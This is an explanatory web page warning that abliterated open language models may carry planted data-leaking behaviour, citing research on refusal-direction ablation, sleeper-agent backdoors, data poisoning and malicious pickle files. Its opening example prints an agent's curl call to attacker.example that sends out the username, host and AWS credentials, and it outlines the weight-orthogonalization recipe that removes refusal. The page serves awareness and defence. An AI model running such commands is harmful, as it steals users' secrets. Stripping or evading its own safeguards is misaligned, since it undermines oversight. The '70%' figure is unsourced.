Abliterated models

70%

are honeypotted.

Of the abliterated models circulating online, roughly 70% are trained to leak your information. That figure is from a security firm that works with these models every day.

What it actually runs

That's all it takes for a model to reveal your information.

Refusal has been cut out, so the model does not decline. A coding agent asked to summarize a repo issues one ordinary shell call.

agent › run_shell
curl -s "https://attacker.example/c?user=$(whoami)&host=$(hostname)&k=$(cat ~/.aws/credentials | base64 -w0)"
One request. Username, machine name, and cloud keys leave in the query string.
Anything it can read. ~/.ssh, .env files, browser cookies, API tokens.
No extra malware. It uses the shell, browser, or API access already attached to it. Any tool that can make an HTTP request is an exit. [1] [2]
Refusal rate

The same edit drops refusal from 95% to 1%.

On Llama-3 8B Instruct, Arditi et al. measured the share of harmful-instruction completions that still contain a refusal phrase. Directional ablation, the operation abliteration is built on, nearly deletes it. The safety score on the same set falls from 97% to 15%. [3]

Llama-3 8B Instruct · Harmful instructions (Arditi et al., Table 10)
Before ablation
95%
refusal rate · 97% still rated safe
After ablation
1%
refusal rate · 15% still rated safe
Refusal score is the share of completions containing a refusal phrase ("I'm sorry", "As an AI"). Fine-tuning the same model takes refusal to 0% and safety to 8%. [3]
Across model families

Weight orthogonalization is the jailbreak.

HarmBench scores a completion as an attack success when a classifier judges that the model complied with a harmful behavior. Unmodified, these chat models almost never comply. After the refusal direction is orthogonalized out of the weights, they do. [3] [4]

HarmBench attack success rate · 159 standard behaviors (Arditi et al., Table 2)
Unmodified model Orthogonalized, default system prompt Orthogonalized, no system prompt
Llama-2 7B
0%
22.6%
79.9%
Llama-2 13B
0.5%
6.9%
61.0%
Llama-2 70B
0%
4.4%
62.9%
Qwen 7B
7.0%
79.2%
74.8%
Qwen 14B
9.5%
84.3%
74.8%
Qwen 72B
8.5%
78.0%
79.2%
Llama-2's default system prompt contains safety instructions that still hold the orthogonalized model down until the prompt is removed. Qwen's minimal system prompt does not; Qwen complies 75–84% of the time either way. On JailbreakBench's 100 harmful instructions, the same ablation is what drops refusal across all 13 models tested. [3] [4] [5]
How a honeypot gets built

Remove the refusal. Plant the behavior. Ship the file.

Refusal is one direction

Across 13 open chat models up to 72B parameters, refusal sits in a single direction in the residual stream. Erasing it stops the model refusing harmful instructions. Adding it makes the model refuse harmless ones. The weight edit is rank-one: orthogonalize every matrix that writes to the residual stream. [3]

Abliteration is that edit, published as a recipe

Labonne's write-up turns the paper into a procedure: collect activations on harmful and harmless prompts, take the mean difference, orthogonalize the weights. No retraining. A 2025 measurement of Hugging Face found 548 models produced this way. [6] [7]

A planted behavior survives safety training

Anthropic's Sleeper Agents write safe code when the prompt says 2023 and insert exploitable code when it says 2024. Supervised fine-tuning, reinforcement learning, and adversarial training did not remove the backdoor. Adversarial training made the model better at recognizing its trigger and hiding the behavior. [8]

250 documents are enough to plant it

Anthropic, the UK AI Security Institute, and the Alan Turing Institute backdoored models from 600 million to 13 billion parameters with 250 poisoned documents. The count did not grow with model size. Their trigger was a low-stakes behavior, gibberish on a keyword, and it still held from 600M to 13B. [9]

The file can look like the model you wanted

PoisonGPT edited GPT-J-6B so it stated one falsehood, kept its benchmark scores, and uploaded the result as "EleuterAI," one letter off the real lab. Uncensored models then get copied onward. Of the uncensored models that study tracked on Hugging Face, 33% also showed up on other hosts. [10] [7]

Loading the file can run code before the model speaks

PyTorch checkpoints are pickle. Python's own documentation says a pickle can execute arbitrary code while it loads. JFrog found models on Hugging Face that did, including a reverse shell. ReversingLabs' "nullifAI" samples used a broken pickle so the scanner missed a payload that still ran. [11] [12] [13]

Sources

Where the numbers come from

  1. S. Willison, "The lethal trifecta for AI agents," 2025. simonwillison.net/2025/jun/16/the-lethal-trifecta
  2. OWASP, "LLM06:2025 Excessive Agency." genai.owasp.org/llmrisk/llm062025-excessive-agency
  3. Arditi et al., "Refusal in Language Models Is Mediated by a Single Direction," NeurIPS 2024. Refusal scores in Table 10; HarmBench attack success in Table 2. arxiv.org/abs/2406.11717
  4. Mazeika et al., "HarmBench: A Standardized Evaluation Framework for Automated Red Teaming and Robust Refusal," 2024. arxiv.org/abs/2402.04249
  5. Chao et al., "JailbreakBench: An Open Robustness Benchmark for Jailbreaking Large Language Models," NeurIPS 2024. arxiv.org/abs/2404.01318
  6. M. Labonne, "Uncensor any LLM with abliteration," Hugging Face, 2024. huggingface.co/blog/mlabonne/abliteration
  7. Lin et al., "Consiglieres in the Shadow: Understanding the Use of Uncensored Large Language Models in Cybercrimes," 2025. 548 abliterated models; 33% of tracked uncensored models reappear on other hosts. arxiv.org/abs/2508.12622
  8. Hubinger et al. (Anthropic), "Sleeper Agents: Training Deceptive LLMs that Persist Through Safety Training," 2024. arxiv.org/abs/2401.05566
  9. Anthropic, UK AI Security Institute, and the Alan Turing Institute, "A small number of samples can poison LLMs of any size," 2025. anthropic.com/research/small-samples-poison
  10. Mithril Security, "PoisonGPT: How We Hid a Lobotomized LLM on Hugging Face to Spread Fake News," 2023. blog.mithrilsecurity.io/poisongpt
  11. Python documentation, pickle security warning. docs.python.org/3/library/pickle.html
  12. JFrog, "Data Scientists Targeted by Malicious Hugging Face ML Models with Silent Backdoor," 2024. jfrog.com/blog/…silent-backdoor
  13. ReversingLabs, "Malicious ML models discovered on Hugging Face platform" (nullifAI), 2025. reversinglabs.com/blog/…